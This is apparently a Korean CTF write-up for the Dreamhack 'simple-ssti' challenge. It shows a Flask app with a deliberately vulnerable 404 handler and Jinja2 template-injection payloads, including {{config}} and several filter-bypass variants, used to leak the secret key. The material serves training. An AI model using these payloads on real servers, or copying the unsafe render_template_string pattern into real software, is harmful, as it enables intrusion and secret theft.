๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]WebHacking/Wargame&CTF

[Dreamhack] Level1: simple-ssti

by Yun2๐Ÿ‘ 2024. 3. 24.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธ Access

์กด์žฌํ•˜์ง€ ์•Š๋Š” ํŽ˜์ด์ง€ ๋ฐฉ๋ฌธ์‹œ 404 ์—๋Ÿฌ๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค.
SSTI ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”. ํ”Œ๋ž˜๊ทธ๋Š” flag.txt, FLAG ๋ณ€์ˆ˜์— ์žˆ์Šต๋‹ˆ๋‹ค.

 

 

๐Ÿ‘พ Exploit Algorithm & Payload

> app.py

๋”๋ณด๊ธฐ
#!/usr/bin/python3
from flask import Flask, request, render_template, render_template_string, make_response, redirect, url_for
import socket

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

app.secret_key = FLAG


@app.route('/')
def index():
    return render_template('index.html')

@app.errorhandler(404)
def Error404(e):
    template = '''
    <div class="center">
        <h1>Page Not Found.</h1>
        <h3>%s</h3>
    </div>
''' % (request.path)
    return render_template_string(template), 404

app.run(host='0.0.0.0', port=8000)

 

#1


: 1๋ฒˆ๊ณผ 2๋ฒˆ ํŽ˜์ด์ง€ ๋ชจ๋‘ status code 404(์กด์žฌํ•˜์ง€ ์•Š๋Š” ํŽ˜์ด์ง€)์ž„์ด ํ™•์ธ๋๋‹ค.

 

 

 

#2


# (์ƒ๋žต)

@app.errorhandler(404)
def Error404(e):
    template = '''
    <div class="center">
        <h1>Page Not Found.</h1>
        <h3>%s</h3>
    </div>
''' % (request.path)
    return render_template_string(template), 404
    
# (์ƒ๋žต)

: Flask Code๋ฅผ ์‚ดํ”ผ๋ฉด ์›น ํ…œํ”Œ๋ฆฟ ๊ตฌ์กฐ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. 

 

- ์›น ํ…œํ”Œ๋ฆฟ์ด๋ž€?

์›น ํ…œํ”Œ๋ฆฟ ์—”์ง„์€ ์›น ํ…œํ”Œ๋ฆฟ๊ณผ ์›น ์ปจํ…์ธ  ์ •๋ณด๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ชฉ์ ์œผ๋กœ ์„ค๊ณ„๋œ ์†Œํ”„ํŠธ์›จ์–ด

์›น ์„œ๋ฒ„๋ฅผ ๊ตฌ์ถ•ํ•  ๋•Œ ์ฝ”๋“œ์— ๋ณด์ด๋Š” {{content}}, {%content%} ์ด๋Ÿฌํ•œ ํ˜•์‹์œผ๋กœ ๋˜์–ด์žˆ๋Š” ๋Œ€๋ถ€๋ถ„์ด ํ…œํ”Œ๋ฆฟ ์—”์ง„์„ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด ์ž‘์„ฑ๋œ ํ…œํ”Œ๋ฆฟ ๊ตฌ๋ฌธ

→ SSTI (Server Side Template Injection) ์ทจ์•ฝ์ ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์„œ๋ฒ„์ธก์˜ ๊ธฐ๋ณธ ํ…œํ”Œ๋ฆฟ ๊ตฌ๋ฌธ์„ ์ด์šฉํ•˜์—ฌ ์•…์„ฑ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‚ฝ์ž…ํ•œ ๋‹ค์Œ ์„œ๋ฒ„ ์ธก์— ์‹คํ–‰๋˜๋ฉด์„œ ์ƒ๊ธฐ๋Š” ์ทจ์•ฝ์ . (์›น ํ…œํ”Œ๋ฆฟ ์—”์ง„๋งˆ๋‹ค ์‚ฌ์šฉ๋˜๋Š” ํŽ˜์ด๋กœ๋“œ ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์Œ)
→ ๋งŒ์•ฝ ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ ๊ฐ’์ด ํ…œํ”Œ๋ฆฟ ๊ตฌ๋ฌธ์œผ๋กœ ์ธ์‹ํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ํ•ด๋‹น ํ…œํ”Œ๋ฆฟ ๊ตฌ๋ฌธ์„ ์ด์šฉํ•˜์—ฌ  SSTI ์ทจ์•ฝ์ ์„ ๋ฐœ์ƒ์‹œ์ผœ RCE(Remote Code Execure) ์ทจ์•ฝ์ ์œผ๋กœ ์—ฐ๊ณ„๋  ์ˆ˜ ์žˆ์Œ

 

 

#3


: {{9*9}} ๋ฅผ html์— ์‚ฝ์ž…ํ•˜์—ฌ ํ…œํ”Œ๋ฆฟ ๊ตฌ๋ฌธ์œผ๋กœ ์ธ์‹ํ•˜๊ฒŒ ๋งŒ๋“ค๋ฉด 81์ด๋ผ๋Š” ๊ฒฐ๊ณผ๊ฐ€ ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


: ๊ธฐ๋ณธ์ ์œผ๋กœ Flask์˜ ๊ฒฝ์šฐ app.n์— ๋“ค์–ด๊ฐ€๋Š” ๋Œ€๋ถ€๋ถ„์˜ ์ •๋ณด๋“ค์ด config ํด๋ž˜์Šค์— ๋“ค์–ด๊ฐ€๊ฒŒ ๋˜๋Š”๋ฐ ๋งŒ์•ฝ app.secret_key์— ์ค‘์š”ํ•œ ์ •๋ณด๋ฅผ ๋„ฃ์—ˆ์„ ๋•Œ {{config}} ํ•ด๋‹น ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ config ์ •๋ณด๋ฅผ ์ถœ๋ ฅํ•˜๊ฒŒ ๋งŒ๋“ค๋ฉด app.secret_key์— ๋“ค์–ด๊ฐ„ ์ค‘์š” ์ •๋ณด๋“ค์ด ๋‚˜์˜ค๊ฒŒ ๋œ๋‹ค.

: ์ด์™ธ์—๋„ Flask Jinja2์˜ Templte Injection Bypass๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค.

 

- config ํ•„ํ„ฐ๋ง์˜ ๊ฒฝ์šฐ-

{{self.__dict__ }}
{{self['__dict__']}}
{{self|attr("__dict__") }}
{{self|attr("con"+"fig")}}
{{self.__getitem__('con'+'fig') }}
{{request.__dict__ }}
{{request['__dict__']}}
{{request.__getitem__('con'+'fig') }}

 

 

๐Ÿ“ŒSummary


 SSTI์˜ ๊ฒฝ์šฐ Python ์–ธ์–ด์—์„œ๋งŒ ๋™์ž‘๋˜๋Š” ๊ฒƒ์ด ์•„๋‹Œ ํ…œํ”Œ๋ฆฟ์„ ์‚ฌ์šฉํ•˜๋Š” ๋ชจ๋“  ์–ธ์–ด์—์„œ ํŠน์ • ๋ฌธ์ž ๋ฐ ๋‹จ์–ด๋ฅผ ํ•„ํ„ฐ๋งํ•˜์ง€ ์•Š๊ฒŒ ๋˜๋ฉด ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒ๋  ์ˆ˜ ์žˆ์Œ

 

 ๋” ๋‚˜์•„๊ฐ€ ์ถ”๊ฐ€ ๊ณต๊ฒฉ RCE ์ทจ์•ฝ์ (SQL Injection, ์—ญ์ง๋ ฌํ™” ๊ณต๊ฒฉ, ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰, ...)์ด ์ถ”๊ฐ€๋กœ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์ฃผ์˜ํ•ด์•ผํ•จ

๋ฐ˜์‘ํ˜•

'[Dreamhack]WebHacking > Wargame&CTF' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level1: random-test  (2) 2024.03.04
[Dreamhack] Level1: [wargame.kr] strcmp  (1) 2024.02.25
[Dreamhack] Level2: login-1  (2) 2024.02.25
[Dreamhack] CTF Season 5 Round #4 - BypassIF  (1) 2024.02.25
[Dreamhack] Level2: baby-sqlite  (0) 2024.02.23